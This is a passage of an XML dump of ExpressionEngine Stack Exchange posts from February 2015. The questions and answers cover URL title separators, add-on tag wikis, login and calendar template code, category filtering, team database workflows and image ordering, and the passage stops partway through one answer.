  <row Id="29000" PostTypeId="1" CreationDate="2015-02-13T20:43:39.390" Score="2" ViewCount="54" Body="&lt;p&gt;I would like future entries on my site to automatically create the URL titles with dashes-as-separators instead_of_the_default_underscores. I found the setting in Admin &gt; Channel Administration &gt; Global Preferences &gt; Word Separator for URL Titles. There’s a simple switch that you can toggle between underscores and dashes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now before I change this, I’m wondering about what this will affect. Will it only alter auto-generated URL titles for entries created within the control panel? Will it alter any behaviour of file paths on the server? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/cp/admin/channels/global_channel_preferences.html&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; article on EllisLab’s docs that says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When creating an entry in the PUBLISH page, if you do not manually&#xA;  enter a “URL Title” then the system will automatically create one&#xA;  based on the entry Title. This preference determines whether&#xA;  underscore characters (_) or dashes (-) should be used when&#xA;  automatically creating the URL Title.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Basically what I’m wondering, is, how can I confirm (prove) that nothing else will be altered before changing this setting?&lt;/p&gt;&#xA;" OwnerUserId="3607" LastActivityDate="2015-02-13T23:39:23.227" Title="What does the “Word Separator for URL Titles” setting alter" Tags="|path|site-preferences|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29001" PostTypeId="2" ParentId="29000" CreationDate="2015-02-13T22:48:50.800" Score="3" Body="&lt;p&gt;Only new entries will use the new separator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Old entries will be left using the &quot;original&quot; separator they were created with. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you delete the url title and submit the entry. EE will then re-make the url title field using the separator chosen in the setting. I have found no other place anywhere that relies upon the url titles setting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tested this on EE 2.9.0&lt;/p&gt;&#xA;" OwnerUserId="1134" LastEditorUserId="1134" LastEditDate="2015-02-13T23:39:23.227" LastActivityDate="2015-02-13T23:39:23.227" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29002" PostTypeId="2" ParentId="29000" CreationDate="2015-02-13T22:59:02.333" Score="0" Body="&lt;p&gt;Its perfectly safe to alter it without affecting anything else than new entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All it basically sets is if you add an entry with a title of &quot;my new entry&quot; it converts the spaces to what you set it to, either &lt;code&gt;- or _&lt;/code&gt;. &lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2015-02-13T22:59:02.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29003" PostTypeId="5" CreationDate="2015-02-13T23:14:35.473" Score="0" Body="&lt;p&gt;&lt;strong&gt;Websites:&lt;/strong&gt;&lt;br&gt;&#xA;DevDemon: &lt;a href=&quot;http://www.devdemon.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.devdemon.com/&lt;/a&gt;&lt;br&gt;&#xA;Redactor: &lt;a href=&quot;http://imperavi.com/redactor/&quot; rel=&quot;nofollow&quot;&gt;http://imperavi.com/redactor/&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt;&lt;br&gt;&#xA;DevDemon: &lt;a href=&quot;http://expressionengine.stackexchange.com/tags/devdemon/info&quot;&gt;http://expressionengine.stackexchange.com/tags/devdemon/info&lt;/a&gt;&lt;br&gt;&#xA;Editor: &lt;a href=&quot;http://expressionengine.stackexchange.com/tags/editor&quot;&gt;http://expressionengine.stackexchange.com/tags/editor&lt;/a&gt;&lt;br&gt;&#xA;Redactor: &lt;a href=&quot;http://expressionengine.stackexchange.com/tags/redactor&quot;&gt;http://expressionengine.stackexchange.com/tags/redactor&lt;/a&gt;  &lt;/p&gt;&#xA;" OwnerUserId="1134" LastEditorUserId="1134" LastEditDate="2015-02-15T18:02:47.100" LastActivityDate="2015-02-15T18:02:47.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29004" PostTypeId="4" CreationDate="2015-02-13T23:14:35.473" Score="0" Body="Editor is a custom fieldtype built by DevDemon which adds WYSIWYG editing capabilities to default Text Area fields in Matrix, Low Variables, Category Descriptions. Upload Images and Files using Redactor." OwnerUserId="1134" LastEditorUserId="1134" LastEditDate="2015-02-15T18:02:28.017" LastActivityDate="2015-02-15T18:02:28.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29005" PostTypeId="5" CreationDate="2015-02-13T23:24:40.453" Score="0" Body="&lt;p&gt;&lt;strong&gt;Websites:&lt;/strong&gt;&lt;br&gt;&#xA;DevDemon: &lt;a href=&quot;http://www.devdemon.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.devdemon.com/&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt;&lt;br&gt;&#xA;DevDemon: &lt;a href=&quot;http://expressionengine.stackexchange.com/tags/devdemon/info&quot;&gt;http://expressionengine.stackexchange.com/tags/devdemon/info&lt;/a&gt;&lt;br&gt;&#xA;Channel Images: &lt;a href=&quot;http://expressionengine.stackexchange.com/tags/channel-images&quot;&gt;http://expressionengine.stackexchange.com/tags/channel-images&lt;/a&gt;  &lt;/p&gt;&#xA;" OwnerUserId="1134" LastEditorUserId="1134" LastEditDate="2015-02-15T18:02:08.463" LastActivityDate="2015-02-15T18:02:08.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29006" PostTypeId="4" CreationDate="2015-02-13T23:24:40.453" Score="0" Body="Channel Images is a custom fieldtype built by DevDemon which adds Multi Image Upload including Remote Storage and Image Management capabilities." OwnerUserId="1134" LastEditorUserId="1134" LastEditDate="2015-02-15T18:01:28.157" LastActivityDate="2015-02-15T18:01:28.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29007" PostTypeId="5" CreationDate="2015-02-13T23:31:43.160" Score="0" Body="&lt;p&gt;&lt;strong&gt;Websites:&lt;/strong&gt;&lt;br&gt;&#xA;DevDemon: &lt;a href=&quot;http://www.devdemon.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.devdemon.com/&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt;&lt;br&gt;&#xA;DevDemon: &lt;a href=&quot;http://expressionengine.stackexchange.com/tags/devdemon/info&quot;&gt;http://expressionengine.stackexchange.com/tags/devdemon/info&lt;/a&gt;&lt;br&gt;&#xA;Channel Files: &lt;a href=&quot;http://expressionengine.stackexchange.com/tags/channel-files&quot;&gt;http://expressionengine.stackexchange.com/tags/channel-files&lt;/a&gt;  &lt;/p&gt;&#xA;" OwnerUserId="1134" LastEditorUserId="1134" LastEditDate="2015-02-18T19:02:26.573" LastActivityDate="2015-02-18T19:02:26.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29008" PostTypeId="4" CreationDate="2015-02-13T23:31:43.160" Score="0" Body="Channel Files is a custom fieldtype built by DevDemon which adds Multi File Upload including Remote Storage and File Management capabilities." OwnerUserId="1134" LastEditorUserId="1134" LastEditDate="2015-02-15T18:02:37.687" LastActivityDate="2015-02-15T18:02:37.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29009" PostTypeId="5" CreationDate="2015-02-13T23:37:37.717" Score="0" Body="&lt;p&gt;&lt;strong&gt;Websites:&lt;/strong&gt;&lt;br&gt;&#xA;DevDemon: &lt;a href=&quot;http://www.devdemon.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.devdemon.com/&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt;&lt;br&gt;&#xA;DevDemon: &lt;a href=&quot;http://expressionengine.stackexchange.com/tags/devdemon/info&quot;&gt;http://expressionengine.stackexchange.com/tags/devdemon/info&lt;/a&gt;&lt;br&gt;&#xA;DevDemon Forms: &lt;a href=&quot;http://expressionengine.stackexchange.com/tags/devdemon-forms&quot;&gt;http://expressionengine.stackexchange.com/tags/devdemon-forms&lt;/a&gt;  &lt;/p&gt;&#xA;" OwnerUserId="1134" LastEditorUserId="1134" LastEditDate="2015-02-15T18:02:11.080" LastActivityDate="2015-02-15T18:02:11.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29010" PostTypeId="4" CreationDate="2015-02-13T23:37:37.717" Score="0" Body="Forms is a custom module built by DevDemon which adds Form Creation, Form Management and Form Publishing capabilities." OwnerUserId="1134" LastEditorUserId="1134" LastEditDate="2015-02-15T18:01:13.203" LastActivityDate="2015-02-15T18:01:13.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29011" PostTypeId="1" CreationDate="2015-02-14T02:12:24.817" Score="0" ViewCount="83" Body="&lt;p&gt;Registration working but with this log in tag its not working , also checked browser network inputs both email and passwords are being passed &lt;/p&gt;&#xA;&#xA;&lt;p&gt;appreciate any help on this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;login&quot; class=&quot;right&quot;&amp;gt;&#xA;              {if logged_out}&#xA;                {exp:freemember:login return='shop/checkout'}&#xA;                  &amp;lt;h2&amp;gt;Returning Customer&amp;lt;/h2&amp;gt;&#xA;                  &amp;lt;p&amp;gt;I am a returning customer&amp;lt;/p&amp;gt;&#xA;                  &amp;lt;b&amp;gt;E-Mail:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&#xA;                  &amp;lt;input type=&quot;text&quot; name=&quot;email&quot; value=&quot;{email}&quot; placeholder=&quot;User Email&quot; maxlength=&quot;50&quot; size=&quot;25&quot;&amp;gt;&#xA;                  {error:email}&#xA;                  &amp;lt;br&amp;gt;&#xA;                  &amp;lt;b&amp;gt;Password:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&#xA;                  &amp;lt;input class=&quot;password_input&quot;  type=&quot;text&quot; name=&quot;password&quot; value=&quot;&quot; placeholder=&quot;Your Password&quot; maxlength=&quot;50&quot; size=&quot;25&quot;&amp;gt;&#xA;                  {error:password}&#xA;                  &amp;lt;br&amp;gt;&#xA;                  &amp;lt;!-- &amp;lt;a href=&quot;{path='account'}&quot;&amp;gt;Forgotten Password&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt; --&amp;gt;&#xA;                  &amp;lt;br&amp;gt;&#xA;                  &amp;lt;div class=&quot;sus-submit &quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;submit_value&quot;&amp;gt;&amp;lt;input id=&quot;&quot; class=&quot;&quot; type=&quot;submit&quot; value=&quot;Log In&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                  &amp;lt;/div&amp;gt;&#xA;                  &amp;lt;!-- &amp;lt;div class=&quot;welactauto&quot;&amp;gt;&amp;lt;input class=&quot;us-btn-orange&quot; type=&quot;checkbox&quot; name=&quot;auto_login&quot; value=&quot;1&quot; {auto_login_checked} /&amp;gt; Remember Me Here&amp;lt;/div&amp;gt; --&amp;gt;&#xA;                {/exp:freemember:login}&#xA;              {/if}&#xA;              &amp;lt;br&amp;gt;&#xA;              &amp;lt;br&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2946" LastActivityDate="2015-02-14T02:12:24.817" Title="Free member log in is not working" Tags="|expresso-store|freemember|" AnswerCount="0" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29012" PostTypeId="2" ParentId="28981" CreationDate="2015-02-14T03:56:59.950" Score="1" Body="&lt;p&gt;The simplest thing you can do is install the Demo Templates that come with Calendar. You can do this by going to the Calendar module CP area, and then click on Demo Templates tab. Proceed with the installation there. You'll then be able to see how an average site using Calendar could/should be constructed, how the template tags interact with each other, and what each template tag does. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Referencing the &lt;a href=&quot;http://www.solspace.com/docs/calendar/events/#examples&quot; rel=&quot;nofollow&quot;&gt;Calendar:Events documentation&lt;/a&gt;, you can see a proper way to develop your template code, or in your case, generate a list (?) of entries:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;    {exp:calendar:events&#xA;        orderby=&quot;title&quot;&#xA;        sort=&quot;asc&quot;&#xA;        date_range_start=&quot;today&quot;&#xA;        show_months=&quot;3&quot;&#xA;    }&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;a href=&quot;{path='calendar/event'}/{event_id}/&quot;&amp;gt;&#xA;            {event_title}&#xA;        &amp;lt;/a&amp;gt;&#xA;        {event_start_date format=&quot;%l, %F %j, %Y&quot;}&#xA;    &amp;lt;/li&amp;gt;&#xA;    {if calendar_no_results}&#xA;        &amp;lt;li&amp;gt;No Results&amp;lt;/li&amp;gt;&#xA;    {/if}&#xA;    {/exp:calendar:events}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All that said, I have a feeling you &lt;em&gt;MAY&lt;/em&gt; be more interested in generating a list of events in chronological order (specifically in the case where you have recurring events). Calendar:Events just displays each event group as 1 result (no matter how many recurrences you have of it), while &lt;a href=&quot;http://www.solspace.com/docs/calendar/calendar/&quot; rel=&quot;nofollow&quot;&gt;Calendar:Cal&lt;/a&gt; will display ALL of the occurrences, and put them in the right order. If you haven't already, I strongly suggest you check out &lt;a href=&quot;http://www.solspace.com/docs/calendar/getting_started/&quot; rel=&quot;nofollow&quot;&gt;this documentation page&lt;/a&gt; for more information (it explains the differences between these 2 template tags). :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do wish to display a chronological list of occurrences (instead of just event &quot;groupings&quot;), then the code you'd want to use is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;{exp:calendar:cal&#xA;        date_range_start=&quot;today&quot;&#xA;        show_months=&quot;6&quot;&#xA;        pad_short_weeks=&quot;n&quot;&#xA;}&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;a href=&quot;{path='calender/event'}/{event_id}/&quot;&amp;gt;&#xA;            {event_title}&#xA;        &amp;lt;/a&amp;gt;&#xA;        ({event_start_date format=&quot;%F %j, %Y&quot;})&#xA;    &amp;lt;/li&amp;gt;&#xA;&#xA;    {if no_results}&#xA;    &amp;lt;li&amp;gt;No Results&amp;lt;/li&amp;gt;&#xA;    {/if}&#xA;{/exp:calendar:cal}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then finally, being that you're linking to the event located at &quot;calendar/event&quot;, in your template located at &quot;calendar/event&quot;, be sure to have code like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:events&#xA;    orderby=&quot;title&quot;&#xA;    sort=&quot;asc&quot;&#xA;    event_id=&quot;{segment_3}&quot;&#xA;    date_range_start=&quot;today&quot;&#xA;    show_months=&quot;3&quot;&#xA;}&#xA;&#xA;    {if calendar_no_results}&#xA;        No Results&#xA;    {/if}&#xA;    &amp;lt;div class=&quot;event&quot;&amp;gt;&#xA;        &amp;lt;h2&amp;gt;{event_title}&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;p&amp;gt;From Calendar:&#xA;            &amp;lt;a href=&quot;{path='calendar/calendars'}/{event_calendar_id}/&quot;&amp;gt;&#xA;                {event_calendar_title}&#xA;            &amp;lt;/a&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;Details:{event_summary}&amp;lt;/p&amp;gt;&#xA;        &amp;lt;p&amp;gt;Location: {event_location}&amp;lt;/p&amp;gt;&#xA;        &amp;lt;h3&amp;gt;Upcoming Occurrences in the next 3 months:&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;            {occurrences}&#xA;            &amp;lt;li&amp;gt;&#xA;                &amp;lt;a href=&quot;{path='calendar/day'}/{occurrence_start_date format=&quot;%Y/%m/%d&quot;}/&quot;&amp;gt;&#xA;                {occurrence_start_date format=&quot;%l, %F %j, %Y at %g:%i%a&quot;}&#xA;                &amp;lt;/a&amp;gt; - {occurrence_end_date format=&quot;%l, %F %j, %Y at %g:%i%a&quot;}&#xA;            &amp;lt;/li&amp;gt;&#xA;            {/occurrences}&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;hr /&amp;gt;&#xA;{/exp:calendar:events}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-02-14T03:56:59.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29013" PostTypeId="1" AcceptedAnswerId="29014" CreationDate="2015-02-14T04:34:33.017" Score="0" ViewCount="401" Body="&lt;p&gt;Let's say I have the following page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.mysite.com/about/video/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the following links on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.mysite.com/about/video/examples&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.mysite.com/about/video/tutorials&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also have a channel where the user can add a category of either examples or tutorials as the category name which is matched to the URL. Is there a way to display a list of entries that match the third segment of the url string to a category assigned? &lt;/p&gt;&#xA;" OwnerUserId="3046" LastActivityDate="2015-02-14T15:39:47.873" Title="Display Entries by URL Title to a Category?" Tags="|channel-entries|categories|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29014" PostTypeId="2" ParentId="29013" CreationDate="2015-02-14T07:30:27.153" Score="1" Body="&lt;p&gt;You can use the extension &lt;a href=&quot;http://gotolow.com/addons/low-seg2cat&quot; rel=&quot;nofollow&quot;&gt;Low Seg2Cat&lt;/a&gt; and then write channel entry tag like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;CHANNEL_NAME&quot; category=&quot;{last_segment_category_id}&quot;}&#xA;#####&#xA;#####&#xA;#####&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="872" LastActivityDate="2015-02-14T07:30:27.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29015" PostTypeId="2" ParentId="29013" CreationDate="2015-02-14T15:39:47.873" Score="1" Body="&lt;p&gt;Are your URLs set in stone?  EE can return entries based on category natively/dynamically - but it has to be a proper EE category URL: mysite.com/about/video/category/examples.  A standard channel:entries tag at that URL would return entries in that category with no addons or special code needed.&lt;/p&gt;&#xA;" OwnerUserId="651" LastActivityDate="2015-02-14T15:39:47.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29016" PostTypeId="2" ParentId="28999" CreationDate="2015-02-14T17:21:35.213" Score="0" Body="&lt;p&gt;Sure, wrap the freeform:form tag inside freeform:entries and populate the form with the existing data, then when the form is submitted, it will be a new entry.&#xA;make sure you pass the entry_id in the url and use that to pull the entry in.&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2015-02-14T17:21:35.213" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29017" PostTypeId="1" CreationDate="2015-02-15T06:57:09.173" Score="4" ViewCount="133" Body="&lt;p&gt;&lt;strong&gt;Short story:&lt;/strong&gt;&lt;br&gt;&#xA;What are some of workflows regarding the database teams are using to develop locally and then push to a central dev site.  When each dev is creating their own templates and variables (not to mention content), how is that database being merged with others without erasing the work one or the other has done?  I've seen at least one attempt at a mysql-query recorder, that I could then use to insert into the parent database instead of trying to merge it.  I've used those for WordPress and know those aren't always 100%.  Are there any other workflows?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Long story:&lt;/strong&gt;&lt;br&gt;&#xA;I'm new to developing with a team.  The team I'm working with is new to best practices and really working together.  In the past it's been pretty much every for themselves, a lot of cowboy coding through FTP on live sites, and more.  However they brought me on because we are now getting larger projects.  Great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First I introduce them to git.  Everything is great. They understand the benefits, they get use to develop locally, push to staging, then push to master. We use dploy.io to actually make the deployments from our git branches.  Again, great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now we have a few sites that several devs are working on.  Git merges, pull requests, conflicts, no problem.  However seeing that ExpressionEngine's core is the database, we start to see issues.  Dev A has a copy of the database and so does Dev B.  Both are making content changes as well as creating new templates and variables.  Both databases can't make it to the staging deployment.  We tried some database merging (I come from a back-end world and have no problem getting dirty with databases), however that can be so time intensive.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So we have a (almost) great current solution, using an online IDE.  Through Cloud9 (c9.io) we are connecting via ssh to a VPS we have set up for Dev work.  This way we are collaboratively working on the same files at the same time, as well as sharing the same database.  There are no more git conflicts with each other, no more separate branches for each dev, no more database conflicts, etc.  Life is grand.  Until Cloud9 goes out for an hour one day.  Then we see the error of our ways.  What would we do if there was a serious deadline to meet tomorrow and we are left twiddling our thumbs because we can't connect?  We could go back to an FTP workflow, but would seriously slow things down.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this leads to my question: What are some of workflows regarding the database teams are using to develop locally and then push to a central dev site.  When each dev is creating their own templates and variables (not to mention content), how is that database being merged with others without erasing the work one or the other has done?  I've seen at least one attempt at a mysql-query recorder, that I could then use to insert into the parent database instead of trying to merge it.  I've used those for WordPress and know those aren't always 100%.  Are there any other workflows?&lt;/p&gt;&#xA;" OwnerUserId="5046" LastActivityDate="2015-02-15T14:42:52.580" Title="Workflows for developing with a team regarding the database" Tags="|database|" AnswerCount="1" CommentCount="3" ClosedDate="2015-02-19T23:50:35.717" ContentLicense="CC BY-SA 3.0" />
  <row Id="29018" PostTypeId="2" ParentId="28992" CreationDate="2015-02-15T10:01:11.390" Score="1" Body="&lt;p&gt;The &lt;code&gt;{paginate}&lt;/code&gt; tag is used to paginate multiple results on list pages. Since you are on a detail page and you are trying to link to next / previous entries in the articles channel, have you tried using the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/entry_linking.html&quot; rel=&quot;nofollow&quot;&gt;next / previous entry links&lt;/a&gt; instead?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, since you are using routes and url_title, you don't need EE to look at the URL structure. I would use &lt;code&gt;dynamic=&quot;no&quot;&lt;/code&gt;. I would also use &lt;code&gt;limit=&quot;1&quot;&lt;/code&gt; in there.&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="141" LastEditDate="2015-02-17T05:38:12.997" LastActivityDate="2015-02-17T05:38:12.997" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29019" PostTypeId="2" ParentId="29017" CreationDate="2015-02-15T14:42:52.580" Score="1" Body="&lt;p&gt;What we in my current team are trying to do is to have as much data in files as possible. That included not just the system add-ons, but templates, snippets and ExpressioEngine config.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We then keep all of those data synchronized with Git.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some things which are still stored in database of course and cannot be pulled to files - the data stucture, channel entries, settings for some add-ons etc. Those are saved in 'master' database that we all are connecting too. Everyone is free to set up a local copy for that of course.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We also make database backups on periodical basis and those backups are stored in Git. So we should be able to get a recent copy of data even if the main server is down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm also eager to hear what other approaches people are using. Thank you for bringing this up!&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2015-02-15T14:42:52.580" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="29020" PostTypeId="2" ParentId="28999" CreationDate="2015-02-15T21:18:06.767" Score="0" Body="&lt;p&gt;I would like to expand on Jim Wyse's advice, and explain what else I have solved so far and what I am still looking for advice on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, here is the beginning and end code example to do what Jim suggested (where the entry_id is passed through the url):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:entries&#xA;  form_name=&quot;my_survey_name&quot;&#xA;  entry_id=&quot;{segment_3}&quot;&#xA;  }&#xA;{exp:freeform:form&#xA;  form_name=&quot;my_survey_name&quot;&#xA;  multipage=&quot;yes&quot;&#xA;  }&#xA;&#xA;&amp;lt;!-- survey questions here --&amp;gt;&#xA;&#xA;{/exp:freeform:form}&#xA;{/exp:freeform:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Within this setup, I can easily pre-populate the values from the original entry like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For regular text field:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;input id=&quot;field_name&quot; name=&quot;field_name&quot; &#xA;        value=&quot;{freeform:field:field_name}&quot; type=&quot;text&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For radio buttons:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;input id=&quot;field_name&quot; name=&quot;field_name&quot; value=&quot;Yes&quot; type=&quot;radio&quot;&#xA;        {if '{freeform:field:field_name}' == &quot;Yes&quot;}&#xA;              checked=&quot;checked&quot;&#xA;        {/if}&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For select menu:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;select id=&quot;field_name&quot; name=&quot;field_name&quot;&amp;gt;&#xA;        &amp;lt;option value=&quot;field_value&quot;&#xA;              {if '{freeform:field:field_name}' == &quot;field_value&quot;}&#xA;                    selected=&quot;selected&quot;&#xA;              {/if}&amp;gt;Field Value&#xA;        &amp;lt;/option&amp;gt;&#xA;  &amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These all work correctly, but by this logic I would expect the following to work for checkboxes (same as radio buttons, but replacing the &quot;==&quot; with &quot;*=&quot; to change &quot;equal to&quot; to &quot;contains&quot;). This, however, causes the page to break and nothing will display.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;input id=&quot;field_name&quot; name=&quot;field_name&quot; value=&quot;field_value&quot; type=&quot;checkbox&quot;&#xA;        {if '{freeform:field:field_name}' *= &quot;field_value&quot;}&#xA;              checked=&quot;checked&quot;&#xA;        {/if}&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am hoping someone else might be able to expand on this to solve the checkbox value problem? Thank you in advance!&lt;/p&gt;&#xA;" OwnerUserId="3733" LastActivityDate="2015-02-15T21:18:06.767" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29021" PostTypeId="1" CreationDate="2015-02-15T23:03:29.830" Score="1" ViewCount="132" Body="&lt;p&gt;I am an expressionengine novice, so apologies if my question reflects that. I'm looking for a way to display images in a specified order (i.e. not by date, size, etc.), such as by ID. I've searched high and low but can't find this functionality. Is it possible?? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: user &quot;Cheyney&quot; helped to tease out my actual question, which was not specifying order of images within an entry (which can be done with the Move icon in the Actions column, as Cheyney describes), but rather specifying order of entries to display images on the homepage. The solution was to order the entries using &quot;orderby&quot; within the Channel Entries tag, as opposed to ordering images within the Channel Images tag. Thanks to Cheyney for &quot;sorting&quot; this out for me!&lt;/p&gt;&#xA;" OwnerUserId="5047" LastEditorUserId="5047" LastEditDate="2015-02-18T16:29:52.363" LastActivityDate="2015-02-18T16:29:52.363" Title="Channel Images - order by image ID?" Tags="|channel-images|orderby|sort|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29022" PostTypeId="2" ParentId="29021" CreationDate="2015-02-16T02:17:57.810" Score="1" Body="&lt;p&gt;You can use the &quot;orderby&quot; parameter.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel_images:images entry_id='{entry_id}' orderby='image:id' sort='asc'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;http://www.devdemon.com/documentation/tag/images/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.devdemon.com/documentation/tag/images/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yCZ2Q.jpg&quot; alt=&quot;Channel Images orderby Documentation&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 1&lt;/strong&gt;: If you want images in a specific order then you need to move them inside the entry into the order you want using the Move icon in the Actions column.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: The cover image with always come first if your field is set that way.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vrbSW.jpg&quot; alt=&quot;Channel Images Field Screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 2&lt;/strong&gt;: Based on further OP comments below here is the code 